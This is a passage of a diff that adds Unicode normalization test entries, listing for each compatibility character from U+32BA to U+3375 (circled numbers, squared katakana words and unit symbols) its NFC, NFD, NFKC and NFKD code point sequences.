+{ source: [0x32BA], NFC: [0x32BA], NFD: [0x32BA], NFKC: [0x0034, 0x0035], NFKD: [0x0034, 0x0035] },
+{ source: [0x32BB], NFC: [0x32BB], NFD: [0x32BB], NFKC: [0x0034, 0x0036], NFKD: [0x0034, 0x0036] },
+{ source: [0x32BC], NFC: [0x32BC], NFD: [0x32BC], NFKC: [0x0034, 0x0037], NFKD: [0x0034, 0x0037] },
+{ source: [0x32BD], NFC: [0x32BD], NFD: [0x32BD], NFKC: [0x0034, 0x0038], NFKD: [0x0034, 0x0038] },
+{ source: [0x32BE], NFC: [0x32BE], NFD: [0x32BE], NFKC: [0x0034, 0x0039], NFKD: [0x0034, 0x0039] },
+{ source: [0x32BF], NFC: [0x32BF], NFD: [0x32BF], NFKC: [0x0035, 0x0030], NFKD: [0x0035, 0x0030] },
+{ source: [0x32C0], NFC: [0x32C0], NFD: [0x32C0], NFKC: [0x0031, 0x6708], NFKD: [0x0031, 0x6708] },
+{ source: [0x32C1], NFC: [0x32C1], NFD: [0x32C1], NFKC: [0x0032, 0x6708], NFKD: [0x0032, 0x6708] },
+{ source: [0x32C2], NFC: [0x32C2], NFD: [0x32C2], NFKC: [0x0033, 0x6708], NFKD: [0x0033, 0x6708] },
+{ source: [0x32C3], NFC: [0x32C3], NFD: [0x32C3], NFKC: [0x0034, 0x6708], NFKD: [0x0034, 0x6708] },
+{ source: [0x32C4], NFC: [0x32C4], NFD: [0x32C4], NFKC: [0x0035, 0x6708], NFKD: [0x0035, 0x6708] },
+{ source: [0x32C5], NFC: [0x32C5], NFD: [0x32C5], NFKC: [0x0036, 0x6708], NFKD: [0x0036, 0x6708] },
+{ source: [0x32C6], NFC: [0x32C6], NFD: [0x32C6], NFKC: [0x0037, 0x6708], NFKD: [0x0037, 0x6708] },
+{ source: [0x32C7], NFC: [0x32C7], NFD: [0x32C7], NFKC: [0x0038, 0x6708], NFKD: [0x0038, 0x6708] },
+{ source: [0x32C8], NFC: [0x32C8], NFD: [0x32C8], NFKC: [0x0039, 0x6708], NFKD: [0x0039, 0x6708] },
+{ source: [0x32C9], NFC: [0x32C9], NFD: [0x32C9], NFKC: [0x0031, 0x0030, 0x6708], NFKD: [0x0031, 0x0030, 0x6708] },
+{ source: [0x32CA], NFC: [0x32CA], NFD: [0x32CA], NFKC: [0x0031, 0x0031, 0x6708], NFKD: [0x0031, 0x0031, 0x6708] },
+{ source: [0x32CB], NFC: [0x32CB], NFD: [0x32CB], NFKC: [0x0031, 0x0032, 0x6708], NFKD: [0x0031, 0x0032, 0x6708] },
+{ source: [0x32CC], NFC: [0x32CC], NFD: [0x32CC], NFKC: [0x0048, 0x0067], NFKD: [0x0048, 0x0067] },
+{ source: [0x32CD], NFC: [0x32CD], NFD: [0x32CD], NFKC: [0x0065, 0x0072, 0x0067], NFKD: [0x0065, 0x0072, 0x0067] },
+{ source: [0x32CE], NFC: [0x32CE], NFD: [0x32CE], NFKC: [0x0065, 0x0056], NFKD: [0x0065, 0x0056] },
+{ source: [0x32CF], NFC: [0x32CF], NFD: [0x32CF], NFKC: [0x004C, 0x0054, 0x0044], NFKD: [0x004C, 0x0054, 0x0044] },
+{ source: [0x32D0], NFC: [0x32D0], NFD: [0x32D0], NFKC: [0x30A2], NFKD: [0x30A2] },
+{ source: [0x32D1], NFC: [0x32D1], NFD: [0x32D1], NFKC: [0x30A4], NFKD: [0x30A4] },
+{ source: [0x32D2], NFC: [0x32D2], NFD: [0x32D2], NFKC: [0x30A6], NFKD: [0x30A6] },
+{ source: [0x32D3], NFC: [0x32D3], NFD: [0x32D3], NFKC: [0x30A8], NFKD: [0x30A8] },
+{ source: [0x32D4], NFC: [0x32D4], NFD: [0x32D4], NFKC: [0x30AA], NFKD: [0x30AA] },
+{ source: [0x32D5], NFC: [0x32D5], NFD: [0x32D5], NFKC: [0x30AB], NFKD: [0x30AB] },
+{ source: [0x32D6], NFC: [0x32D6], NFD: [0x32D6], NFKC: [0x30AD], NFKD: [0x30AD] },
+{ source: [0x32D7], NFC: [0x32D7], NFD: [0x32D7], NFKC: [0x30AF], NFKD: [0x30AF] },
+{ source: [0x32D8], NFC: [0x32D8], NFD: [0x32D8], NFKC: [0x30B1], NFKD: [0x30B1] },
+{ source: [0x32D9], NFC: [0x32D9], NFD: [0x32D9], NFKC: [0x30B3], NFKD: [0x30B3] },
+{ source: [0x32DA], NFC: [0x32DA], NFD: [0x32DA], NFKC: [0x30B5], NFKD: [0x30B5] },
+{ source: [0x32DB], NFC: [0x32DB], NFD: [0x32DB], NFKC: [0x30B7], NFKD: [0x30B7] },
+{ source: [0x32DC], NFC: [0x32DC], NFD: [0x32DC], NFKC: [0x30B9], NFKD: [0x30B9] },
+{ source: [0x32DD], NFC: [0x32DD], NFD: [0x32DD], NFKC: [0x30BB], NFKD: [0x30BB] },
+{ source: [0x32DE], NFC: [0x32DE], NFD: [0x32DE], NFKC: [0x30BD], NFKD: [0x30BD] },
+{ source: [0x32DF], NFC: [0x32DF], NFD: [0x32DF], NFKC: [0x30BF], NFKD: [0x30BF] },
+{ source: [0x32E0], NFC: [0x32E0], NFD: [0x32E0], NFKC: [0x30C1], NFKD: [0x30C1] },
+{ source: [0x32E1], NFC: [0x32E1], NFD: [0x32E1], NFKC: [0x30C4], NFKD: [0x30C4] },
+{ source: [0x32E2], NFC: [0x32E2], NFD: [0x32E2], NFKC: [0x30C6], NFKD: [0x30C6] },
+{ source: [0x32E3], NFC: [0x32E3], NFD: [0x32E3], NFKC: [0x30C8], NFKD: [0x30C8] },
+{ source: [0x32E4], NFC: [0x32E4], NFD: [0x32E4], NFKC: [0x30CA], NFKD: [0x30CA] },
+{ source: [0x32E5], NFC: [0x32E5], NFD: [0x32E5], NFKC: [0x30CB], NFKD: [0x30CB] },
+{ source: [0x32E6], NFC: [0x32E6], NFD: [0x32E6], NFKC: [0x30CC], NFKD: [0x30CC] },
+{ source: [0x32E7], NFC: [0x32E7], NFD: [0x32E7], NFKC: [0x30CD], NFKD: [0x30CD] },
+{ source: [0x32E8], NFC: [0x32E8], NFD: [0x32E8], NFKC: [0x30CE], NFKD: [0x30CE] },
+{ source: [0x32E9], NFC: [0x32E9], NFD: [0x32E9], NFKC: [0x30CF], NFKD: [0x30CF] },
+{ source: [0x32EA], NFC: [0x32EA], NFD: [0x32EA], NFKC: [0x30D2], NFKD: [0x30D2] },
+{ source: [0x32EB], NFC: [0x32EB], NFD: [0x32EB], NFKC: [0x30D5], NFKD: [0x30D5] },
+{ source: [0x32EC], NFC: [0x32EC], NFD: [0x32EC], NFKC: [0x30D8], NFKD: [0x30D8] },
+{ source: [0x32ED], NFC: [0x32ED], NFD: [0x32ED], NFKC: [0x30DB], NFKD: [0x30DB] },
+{ source: [0x32EE], NFC: [0x32EE], NFD: [0x32EE], NFKC: [0x30DE], NFKD: [0x30DE] },
+{ source: [0x32EF], NFC: [0x32EF], NFD: [0x32EF], NFKC: [0x30DF], NFKD: [0x30DF] },
+{ source: [0x32F0], NFC: [0x32F0], NFD: [0x32F0], NFKC: [0x30E0], NFKD: [0x30E0] },
+{ source: [0x32F1], NFC: [0x32F1], NFD: [0x32F1], NFKC: [0x30E1], NFKD: [0x30E1] },
+{ source: [0x32F2], NFC: [0x32F2], NFD: [0x32F2], NFKC: [0x30E2], NFKD: [0x30E2] },
+{ source: [0x32F3], NFC: [0x32F3], NFD: [0x32F3], NFKC: [0x30E4], NFKD: [0x30E4] },
+{ source: [0x32F4], NFC: [0x32F4], NFD: [0x32F4], NFKC: [0x30E6], NFKD: [0x30E6] },
+{ source: [0x32F5], NFC: [0x32F5], NFD: [0x32F5], NFKC: [0x30E8], NFKD: [0x30E8] },
+{ source: [0x32F6], NFC: [0x32F6], NFD: [0x32F6], NFKC: [0x30E9], NFKD: [0x30E9] },
+{ source: [0x32F7], NFC: [0x32F7], NFD: [0x32F7], NFKC: [0x30EA], NFKD: [0x30EA] },
+{ source: [0x32F8], NFC: [0x32F8], NFD: [0x32F8], NFKC: [0x30EB], NFKD: [0x30EB] },
+{ source: [0x32F9], NFC: [0x32F9], NFD: [0x32F9], NFKC: [0x30EC], NFKD: [0x30EC] },
+{ source: [0x32FA], NFC: [0x32FA], NFD: [0x32FA], NFKC: [0x30ED], NFKD: [0x30ED] },
+{ source: [0x32FB], NFC: [0x32FB], NFD: [0x32FB], NFKC: [0x30EF], NFKD: [0x30EF] },
+{ source: [0x32FC], NFC: [0x32FC], NFD: [0x32FC], NFKC: [0x30F0], NFKD: [0x30F0] },
+{ source: [0x32FD], NFC: [0x32FD], NFD: [0x32FD], NFKC: [0x30F1], NFKD: [0x30F1] },
+{ source: [0x32FE], NFC: [0x32FE], NFD: [0x32FE], NFKC: [0x30F2], NFKD: [0x30F2] },
+{ source: [0x3300], NFC: [0x3300], NFD: [0x3300], NFKC: [0x30A2, 0x30D1, 0x30FC, 0x30C8], NFKD: [0x30A2, 0x30CF, 0x309A, 0x30FC, 0x30C8] },
+{ source: [0x3301], NFC: [0x3301], NFD: [0x3301], NFKC: [0x30A2, 0x30EB, 0x30D5, 0x30A1], NFKD: [0x30A2, 0x30EB, 0x30D5, 0x30A1] },
+{ source: [0x3302], NFC: [0x3302], NFD: [0x3302], NFKC: [0x30A2, 0x30F3, 0x30DA, 0x30A2], NFKD: [0x30A2, 0x30F3, 0x30D8, 0x309A, 0x30A2] },
+{ source: [0x3303], NFC: [0x3303], NFD: [0x3303], NFKC: [0x30A2, 0x30FC, 0x30EB], NFKD: [0x30A2, 0x30FC, 0x30EB] },
+{ source: [0x3304], NFC: [0x3304], NFD: [0x3304], NFKC: [0x30A4, 0x30CB, 0x30F3, 0x30B0], NFKD: [0x30A4, 0x30CB, 0x30F3, 0x30AF, 0x3099] },
+{ source: [0x3305], NFC: [0x3305], NFD: [0x3305], NFKC: [0x30A4, 0x30F3, 0x30C1], NFKD: [0x30A4, 0x30F3, 0x30C1] },
+{ source: [0x3306], NFC: [0x3306], NFD: [0x3306], NFKC: [0x30A6, 0x30A9, 0x30F3], NFKD: [0x30A6, 0x30A9, 0x30F3] },
+{ source: [0x3307], NFC: [0x3307], NFD: [0x3307], NFKC: [0x30A8, 0x30B9, 0x30AF, 0x30FC, 0x30C9], NFKD: [0x30A8, 0x30B9, 0x30AF, 0x30FC, 0x30C8, 0x3099] },
+{ source: [0x3308], NFC: [0x3308], NFD: [0x3308], NFKC: [0x30A8, 0x30FC, 0x30AB, 0x30FC], NFKD: [0x30A8, 0x30FC, 0x30AB, 0x30FC] },
+{ source: [0x3309], NFC: [0x3309], NFD: [0x3309], NFKC: [0x30AA, 0x30F3, 0x30B9], NFKD: [0x30AA, 0x30F3, 0x30B9] },
+{ source: [0x330A], NFC: [0x330A], NFD: [0x330A], NFKC: [0x30AA, 0x30FC, 0x30E0], NFKD: [0x30AA, 0x30FC, 0x30E0] },
+{ source: [0x330B], NFC: [0x330B], NFD: [0x330B], NFKC: [0x30AB, 0x30A4, 0x30EA], NFKD: [0x30AB, 0x30A4, 0x30EA] },
+{ source: [0x330C], NFC: [0x330C], NFD: [0x330C], NFKC: [0x30AB, 0x30E9, 0x30C3, 0x30C8], NFKD: [0x30AB, 0x30E9, 0x30C3, 0x30C8] },
+{ source: [0x330D], NFC: [0x330D], NFD: [0x330D], NFKC: [0x30AB, 0x30ED, 0x30EA, 0x30FC], NFKD: [0x30AB, 0x30ED, 0x30EA, 0x30FC] },
+{ source: [0x330E], NFC: [0x330E], NFD: [0x330E], NFKC: [0x30AC, 0x30ED, 0x30F3], NFKD: [0x30AB, 0x3099, 0x30ED, 0x30F3] },
+{ source: [0x330F], NFC: [0x330F], NFD: [0x330F], NFKC: [0x30AC, 0x30F3, 0x30DE], NFKD: [0x30AB, 0x3099, 0x30F3, 0x30DE] },
+{ source: [0x3310], NFC: [0x3310], NFD: [0x3310], NFKC: [0x30AE, 0x30AC], NFKD: [0x30AD, 0x3099, 0x30AB, 0x3099] },
+{ source: [0x3311], NFC: [0x3311], NFD: [0x3311], NFKC: [0x30AE, 0x30CB, 0x30FC], NFKD: [0x30AD, 0x3099, 0x30CB, 0x30FC] },
+{ source: [0x3312], NFC: [0x3312], NFD: [0x3312], NFKC: [0x30AD, 0x30E5, 0x30EA, 0x30FC], NFKD: [0x30AD, 0x30E5, 0x30EA, 0x30FC] },
+{ source: [0x3313], NFC: [0x3313], NFD: [0x3313], NFKC: [0x30AE, 0x30EB, 0x30C0, 0x30FC], NFKD: [0x30AD, 0x3099, 0x30EB, 0x30BF, 0x3099, 0x30FC] },
+{ source: [0x3314], NFC: [0x3314], NFD: [0x3314], NFKC: [0x30AD, 0x30ED], NFKD: [0x30AD, 0x30ED] },
+{ source: [0x3315], NFC: [0x3315], NFD: [0x3315], NFKC: [0x30AD, 0x30ED, 0x30B0, 0x30E9, 0x30E0], NFKD: [0x30AD, 0x30ED, 0x30AF, 0x3099, 0x30E9, 0x30E0] },
+{ source: [0x3316], NFC: [0x3316], NFD: [0x3316], NFKC: [0x30AD, 0x30ED, 0x30E1, 0x30FC, 0x30C8, 0x30EB], NFKD: [0x30AD, 0x30ED, 0x30E1, 0x30FC, 0x30C8, 0x30EB] },
+{ source: [0x3317], NFC: [0x3317], NFD: [0x3317], NFKC: [0x30AD, 0x30ED, 0x30EF, 0x30C3, 0x30C8], NFKD: [0x30AD, 0x30ED, 0x30EF, 0x30C3, 0x30C8] },
+{ source: [0x3318], NFC: [0x3318], NFD: [0x3318], NFKC: [0x30B0, 0x30E9, 0x30E0], NFKD: [0x30AF, 0x3099, 0x30E9, 0x30E0] },
+{ source: [0x3319], NFC: [0x3319], NFD: [0x3319], NFKC: [0x30B0, 0x30E9, 0x30E0, 0x30C8, 0x30F3], NFKD: [0x30AF, 0x3099, 0x30E9, 0x30E0, 0x30C8, 0x30F3] },
+{ source: [0x331A], NFC: [0x331A], NFD: [0x331A], NFKC: [0x30AF, 0x30EB, 0x30BC, 0x30A4, 0x30ED], NFKD: [0x30AF, 0x30EB, 0x30BB, 0x3099, 0x30A4, 0x30ED] },
+{ source: [0x331B], NFC: [0x331B], NFD: [0x331B], NFKC: [0x30AF, 0x30ED, 0x30FC, 0x30CD], NFKD: [0x30AF, 0x30ED, 0x30FC, 0x30CD] },
+{ source: [0x331C], NFC: [0x331C], NFD: [0x331C], NFKC: [0x30B1, 0x30FC, 0x30B9], NFKD: [0x30B1, 0x30FC, 0x30B9] },
+{ source: [0x331D], NFC: [0x331D], NFD: [0x331D], NFKC: [0x30B3, 0x30EB, 0x30CA], NFKD: [0x30B3, 0x30EB, 0x30CA] },
+{ source: [0x331E], NFC: [0x331E], NFD: [0x331E], NFKC: [0x30B3, 0x30FC, 0x30DD], NFKD: [0x30B3, 0x30FC, 0x30DB, 0x309A] },
+{ source: [0x331F], NFC: [0x331F], NFD: [0x331F], NFKC: [0x30B5, 0x30A4, 0x30AF, 0x30EB], NFKD: [0x30B5, 0x30A4, 0x30AF, 0x30EB] },
+{ source: [0x3320], NFC: [0x3320], NFD: [0x3320], NFKC: [0x30B5, 0x30F3, 0x30C1, 0x30FC, 0x30E0], NFKD: [0x30B5, 0x30F3, 0x30C1, 0x30FC, 0x30E0] },
+{ source: [0x3321], NFC: [0x3321], NFD: [0x3321], NFKC: [0x30B7, 0x30EA, 0x30F3, 0x30B0], NFKD: [0x30B7, 0x30EA, 0x30F3, 0x30AF, 0x3099] },
+{ source: [0x3322], NFC: [0x3322], NFD: [0x3322], NFKC: [0x30BB, 0x30F3, 0x30C1], NFKD: [0x30BB, 0x30F3, 0x30C1] },
+{ source: [0x3323], NFC: [0x3323], NFD: [0x3323], NFKC: [0x30BB, 0x30F3, 0x30C8], NFKD: [0x30BB, 0x30F3, 0x30C8] },
+{ source: [0x3324], NFC: [0x3324], NFD: [0x3324], NFKC: [0x30C0, 0x30FC, 0x30B9], NFKD: [0x30BF, 0x3099, 0x30FC, 0x30B9] },
+{ source: [0x3325], NFC: [0x3325], NFD: [0x3325], NFKC: [0x30C7, 0x30B7], NFKD: [0x30C6, 0x3099, 0x30B7] },
+{ source: [0x3326], NFC: [0x3326], NFD: [0x3326], NFKC: [0x30C9, 0x30EB], NFKD: [0x30C8, 0x3099, 0x30EB] },
+{ source: [0x3327], NFC: [0x3327], NFD: [0x3327], NFKC: [0x30C8, 0x30F3], NFKD: [0x30C8, 0x30F3] },
+{ source: [0x3328], NFC: [0x3328], NFD: [0x3328], NFKC: [0x30CA, 0x30CE], NFKD: [0x30CA, 0x30CE] },
+{ source: [0x3329], NFC: [0x3329], NFD: [0x3329], NFKC: [0x30CE, 0x30C3, 0x30C8], NFKD: [0x30CE, 0x30C3, 0x30C8] },
+{ source: [0x332A], NFC: [0x332A], NFD: [0x332A], NFKC: [0x30CF, 0x30A4, 0x30C4], NFKD: [0x30CF, 0x30A4, 0x30C4] },
+{ source: [0x332B], NFC: [0x332B], NFD: [0x332B], NFKC: [0x30D1, 0x30FC, 0x30BB, 0x30F3, 0x30C8], NFKD: [0x30CF, 0x309A, 0x30FC, 0x30BB, 0x30F3, 0x30C8] },
+{ source: [0x332C], NFC: [0x332C], NFD: [0x332C], NFKC: [0x30D1, 0x30FC, 0x30C4], NFKD: [0x30CF, 0x309A, 0x30FC, 0x30C4] },
+{ source: [0x332D], NFC: [0x332D], NFD: [0x332D], NFKC: [0x30D0, 0x30FC, 0x30EC, 0x30EB], NFKD: [0x30CF, 0x3099, 0x30FC, 0x30EC, 0x30EB] },
+{ source: [0x332E], NFC: [0x332E], NFD: [0x332E], NFKC: [0x30D4, 0x30A2, 0x30B9, 0x30C8, 0x30EB], NFKD: [0x30D2, 0x309A, 0x30A2, 0x30B9, 0x30C8, 0x30EB] },
+{ source: [0x332F], NFC: [0x332F], NFD: [0x332F], NFKC: [0x30D4, 0x30AF, 0x30EB], NFKD: [0x30D2, 0x309A, 0x30AF, 0x30EB] },
+{ source: [0x3330], NFC: [0x3330], NFD: [0x3330], NFKC: [0x30D4, 0x30B3], NFKD: [0x30D2, 0x309A, 0x30B3] },
+{ source: [0x3331], NFC: [0x3331], NFD: [0x3331], NFKC: [0x30D3, 0x30EB], NFKD: [0x30D2, 0x3099, 0x30EB] },
+{ source: [0x3332], NFC: [0x3332], NFD: [0x3332], NFKC: [0x30D5, 0x30A1, 0x30E9, 0x30C3, 0x30C9], NFKD: [0x30D5, 0x30A1, 0x30E9, 0x30C3, 0x30C8, 0x3099] },
+{ source: [0x3333], NFC: [0x3333], NFD: [0x3333], NFKC: [0x30D5, 0x30A3, 0x30FC, 0x30C8], NFKD: [0x30D5, 0x30A3, 0x30FC, 0x30C8] },
+{ source: [0x3334], NFC: [0x3334], NFD: [0x3334], NFKC: [0x30D6, 0x30C3, 0x30B7, 0x30A7, 0x30EB], NFKD: [0x30D5, 0x3099, 0x30C3, 0x30B7, 0x30A7, 0x30EB] },
+{ source: [0x3335], NFC: [0x3335], NFD: [0x3335], NFKC: [0x30D5, 0x30E9, 0x30F3], NFKD: [0x30D5, 0x30E9, 0x30F3] },
+{ source: [0x3336], NFC: [0x3336], NFD: [0x3336], NFKC: [0x30D8, 0x30AF, 0x30BF, 0x30FC, 0x30EB], NFKD: [0x30D8, 0x30AF, 0x30BF, 0x30FC, 0x30EB] },
+{ source: [0x3337], NFC: [0x3337], NFD: [0x3337], NFKC: [0x30DA, 0x30BD], NFKD: [0x30D8, 0x309A, 0x30BD] },
+{ source: [0x3338], NFC: [0x3338], NFD: [0x3338], NFKC: [0x30DA, 0x30CB, 0x30D2], NFKD: [0x30D8, 0x309A, 0x30CB, 0x30D2] },
+{ source: [0x3339], NFC: [0x3339], NFD: [0x3339], NFKC: [0x30D8, 0x30EB, 0x30C4], NFKD: [0x30D8, 0x30EB, 0x30C4] },
+{ source: [0x333A], NFC: [0x333A], NFD: [0x333A], NFKC: [0x30DA, 0x30F3, 0x30B9], NFKD: [0x30D8, 0x309A, 0x30F3, 0x30B9] },
+{ source: [0x333B], NFC: [0x333B], NFD: [0x333B], NFKC: [0x30DA, 0x30FC, 0x30B8], NFKD: [0x30D8, 0x309A, 0x30FC, 0x30B7, 0x3099] },
+{ source: [0x333C], NFC: [0x333C], NFD: [0x333C], NFKC: [0x30D9, 0x30FC, 0x30BF], NFKD: [0x30D8, 0x3099, 0x30FC, 0x30BF] },
+{ source: [0x333D], NFC: [0x333D], NFD: [0x333D], NFKC: [0x30DD, 0x30A4, 0x30F3, 0x30C8], NFKD: [0x30DB, 0x309A, 0x30A4, 0x30F3, 0x30C8] },
+{ source: [0x333E], NFC: [0x333E], NFD: [0x333E], NFKC: [0x30DC, 0x30EB, 0x30C8], NFKD: [0x30DB, 0x3099, 0x30EB, 0x30C8] },
+{ source: [0x333F], NFC: [0x333F], NFD: [0x333F], NFKC: [0x30DB, 0x30F3], NFKD: [0x30DB, 0x30F3] },
+{ source: [0x3340], NFC: [0x3340], NFD: [0x3340], NFKC: [0x30DD, 0x30F3, 0x30C9], NFKD: [0x30DB, 0x309A, 0x30F3, 0x30C8, 0x3099] },
+{ source: [0x3341], NFC: [0x3341], NFD: [0x3341], NFKC: [0x30DB, 0x30FC, 0x30EB], NFKD: [0x30DB, 0x30FC, 0x30EB] },
+{ source: [0x3342], NFC: [0x3342], NFD: [0x3342], NFKC: [0x30DB, 0x30FC, 0x30F3], NFKD: [0x30DB, 0x30FC, 0x30F3] },
+{ source: [0x3343], NFC: [0x3343], NFD: [0x3343], NFKC: [0x30DE, 0x30A4, 0x30AF, 0x30ED], NFKD: [0x30DE, 0x30A4, 0x30AF, 0x30ED] },
+{ source: [0x3344], NFC: [0x3344], NFD: [0x3344], NFKC: [0x30DE, 0x30A4, 0x30EB], NFKD: [0x30DE, 0x30A4, 0x30EB] },
+{ source: [0x3345], NFC: [0x3345], NFD: [0x3345], NFKC: [0x30DE, 0x30C3, 0x30CF], NFKD: [0x30DE, 0x30C3, 0x30CF] },
+{ source: [0x3346], NFC: [0x3346], NFD: [0x3346], NFKC: [0x30DE, 0x30EB, 0x30AF], NFKD: [0x30DE, 0x30EB, 0x30AF] },
+{ source: [0x3347], NFC: [0x3347], NFD: [0x3347], NFKC: [0x30DE, 0x30F3, 0x30B7, 0x30E7, 0x30F3], NFKD: [0x30DE, 0x30F3, 0x30B7, 0x30E7, 0x30F3] },
+{ source: [0x3348], NFC: [0x3348], NFD: [0x3348], NFKC: [0x30DF, 0x30AF, 0x30ED, 0x30F3], NFKD: [0x30DF, 0x30AF, 0x30ED, 0x30F3] },
+{ source: [0x3349], NFC: [0x3349], NFD: [0x3349], NFKC: [0x30DF, 0x30EA], NFKD: [0x30DF, 0x30EA] },
+{ source: [0x334A], NFC: [0x334A], NFD: [0x334A], NFKC: [0x30DF, 0x30EA, 0x30D0, 0x30FC, 0x30EB], NFKD: [0x30DF, 0x30EA, 0x30CF, 0x3099, 0x30FC, 0x30EB] },
+{ source: [0x334B], NFC: [0x334B], NFD: [0x334B], NFKC: [0x30E1, 0x30AC], NFKD: [0x30E1, 0x30AB, 0x3099] },
+{ source: [0x334C], NFC: [0x334C], NFD: [0x334C], NFKC: [0x30E1, 0x30AC, 0x30C8, 0x30F3], NFKD: [0x30E1, 0x30AB, 0x3099, 0x30C8, 0x30F3] },
+{ source: [0x334D], NFC: [0x334D], NFD: [0x334D], NFKC: [0x30E1, 0x30FC, 0x30C8, 0x30EB], NFKD: [0x30E1, 0x30FC, 0x30C8, 0x30EB] },
+{ source: [0x334E], NFC: [0x334E], NFD: [0x334E], NFKC: [0x30E4, 0x30FC, 0x30C9], NFKD: [0x30E4, 0x30FC, 0x30C8, 0x3099] },
+{ source: [0x334F], NFC: [0x334F], NFD: [0x334F], NFKC: [0x30E4, 0x30FC, 0x30EB], NFKD: [0x30E4, 0x30FC, 0x30EB] },
+{ source: [0x3350], NFC: [0x3350], NFD: [0x3350], NFKC: [0x30E6, 0x30A2, 0x30F3], NFKD: [0x30E6, 0x30A2, 0x30F3] },
+{ source: [0x3351], NFC: [0x3351], NFD: [0x3351], NFKC: [0x30EA, 0x30C3, 0x30C8, 0x30EB], NFKD: [0x30EA, 0x30C3, 0x30C8, 0x30EB] },
+{ source: [0x3352], NFC: [0x3352], NFD: [0x3352], NFKC: [0x30EA, 0x30E9], NFKD: [0x30EA, 0x30E9] },
+{ source: [0x3353], NFC: [0x3353], NFD: [0x3353], NFKC: [0x30EB, 0x30D4, 0x30FC], NFKD: [0x30EB, 0x30D2, 0x309A, 0x30FC] },
+{ source: [0x3354], NFC: [0x3354], NFD: [0x3354], NFKC: [0x30EB, 0x30FC, 0x30D6, 0x30EB], NFKD: [0x30EB, 0x30FC, 0x30D5, 0x3099, 0x30EB] },
+{ source: [0x3355], NFC: [0x3355], NFD: [0x3355], NFKC: [0x30EC, 0x30E0], NFKD: [0x30EC, 0x30E0] },
+{ source: [0x3356], NFC: [0x3356], NFD: [0x3356], NFKC: [0x30EC, 0x30F3, 0x30C8, 0x30B2, 0x30F3], NFKD: [0x30EC, 0x30F3, 0x30C8, 0x30B1, 0x3099, 0x30F3] },
+{ source: [0x3357], NFC: [0x3357], NFD: [0x3357], NFKC: [0x30EF, 0x30C3, 0x30C8], NFKD: [0x30EF, 0x30C3, 0x30C8] },
+{ source: [0x3358], NFC: [0x3358], NFD: [0x3358], NFKC: [0x0030, 0x70B9], NFKD: [0x0030, 0x70B9] },
+{ source: [0x3359], NFC: [0x3359], NFD: [0x3359], NFKC: [0x0031, 0x70B9], NFKD: [0x0031, 0x70B9] },
+{ source: [0x335A], NFC: [0x335A], NFD: [0x335A], NFKC: [0x0032, 0x70B9], NFKD: [0x0032, 0x70B9] },
+{ source: [0x335B], NFC: [0x335B], NFD: [0x335B], NFKC: [0x0033, 0x70B9], NFKD: [0x0033, 0x70B9] },
+{ source: [0x335C], NFC: [0x335C], NFD: [0x335C], NFKC: [0x0034, 0x70B9], NFKD: [0x0034, 0x70B9] },
+{ source: [0x335D], NFC: [0x335D], NFD: [0x335D], NFKC: [0x0035, 0x70B9], NFKD: [0x0035, 0x70B9] },
+{ source: [0x335E], NFC: [0x335E], NFD: [0x335E], NFKC: [0x0036, 0x70B9], NFKD: [0x0036, 0x70B9] },
+{ source: [0x335F], NFC: [0x335F], NFD: [0x335F], NFKC: [0x0037, 0x70B9], NFKD: [0x0037, 0x70B9] },
+{ source: [0x3360], NFC: [0x3360], NFD: [0x3360], NFKC: [0x0038, 0x70B9], NFKD: [0x0038, 0x70B9] },
+{ source: [0x3361], NFC: [0x3361], NFD: [0x3361], NFKC: [0x0039, 0x70B9], NFKD: [0x0039, 0x70B9] },
+{ source: [0x3362], NFC: [0x3362], NFD: [0x3362], NFKC: [0x0031, 0x0030, 0x70B9], NFKD: [0x0031, 0x0030, 0x70B9] },
+{ source: [0x3363], NFC: [0x3363], NFD: [0x3363], NFKC: [0x0031, 0x0031, 0x70B9], NFKD: [0x0031, 0x0031, 0x70B9] },
+{ source: [0x3364], NFC: [0x3364], NFD: [0x3364], NFKC: [0x0031, 0x0032, 0x70B9], NFKD: [0x0031, 0x0032, 0x70B9] },
+{ source: [0x3365], NFC: [0x3365], NFD: [0x3365], NFKC: [0x0031, 0x0033, 0x70B9], NFKD: [0x0031, 0x0033, 0x70B9] },
+{ source: [0x3366], NFC: [0x3366], NFD: [0x3366], NFKC: [0x0031, 0x0034, 0x70B9], NFKD: [0x0031, 0x0034, 0x70B9] },
+{ source: [0x3367], NFC: [0x3367], NFD: [0x3367], NFKC: [0x0031, 0x0035, 0x70B9], NFKD: [0x0031, 0x0035, 0x70B9] },
+{ source: [0x3368], NFC: [0x3368], NFD: [0x3368], NFKC: [0x0031, 0x0036, 0x70B9], NFKD: [0x0031, 0x0036, 0x70B9] },
+{ source: [0x3369], NFC: [0x3369], NFD: [0x3369], NFKC: [0x0031, 0x0037, 0x70B9], NFKD: [0x0031, 0x0037, 0x70B9] },
+{ source: [0x336A], NFC: [0x336A], NFD: [0x336A], NFKC: [0x0031, 0x0038, 0x70B9], NFKD: [0x0031, 0x0038, 0x70B9] },
+{ source: [0x336B], NFC: [0x336B], NFD: [0x336B], NFKC: [0x0031, 0x0039, 0x70B9], NFKD: [0x0031, 0x0039, 0x70B9] },
+{ source: [0x336C], NFC: [0x336C], NFD: [0x336C], NFKC: [0x0032, 0x0030, 0x70B9], NFKD: [0x0032, 0x0030, 0x70B9] },
+{ source: [0x336D], NFC: [0x336D], NFD: [0x336D], NFKC: [0x0032, 0x0031, 0x70B9], NFKD: [0x0032, 0x0031, 0x70B9] },
+{ source: [0x336E], NFC: [0x336E], NFD: [0x336E], NFKC: [0x0032, 0x0032, 0x70B9], NFKD: [0x0032, 0x0032, 0x70B9] },
+{ source: [0x336F], NFC: [0x336F], NFD: [0x336F], NFKC: [0x0032, 0x0033, 0x70B9], NFKD: [0x0032, 0x0033, 0x70B9] },
+{ source: [0x3370], NFC: [0x3370], NFD: [0x3370], NFKC: [0x0032, 0x0034, 0x70B9], NFKD: [0x0032, 0x0034, 0x70B9] },
+{ source: [0x3371], NFC: [0x3371], NFD: [0x3371], NFKC: [0x0068, 0x0050, 0x0061], NFKD: [0x0068, 0x0050, 0x0061] },
+{ source: [0x3372], NFC: [0x3372], NFD: [0x3372], NFKC: [0x0064, 0x0061], NFKD: [0x0064, 0x0061] },
+{ source: [0x3373], NFC: [0x3373], NFD: [0x3373], NFKC: [0x0041, 0x0055], NFKD: [0x0041, 0x0055] },
+{ source: [0x3374], NFC: [0x3374], NFD: [0x3374], NFKC: [0x0062, 0x0061, 0x0072], NFKD: [0x0062, 0x0061, 0x0072] },
+{ source: [0x3375], NFC: [0x3375], NFD: [0x3375], NFKC: [0x006F, 0x0056], NFKD: [0x006F, 0x0056] },
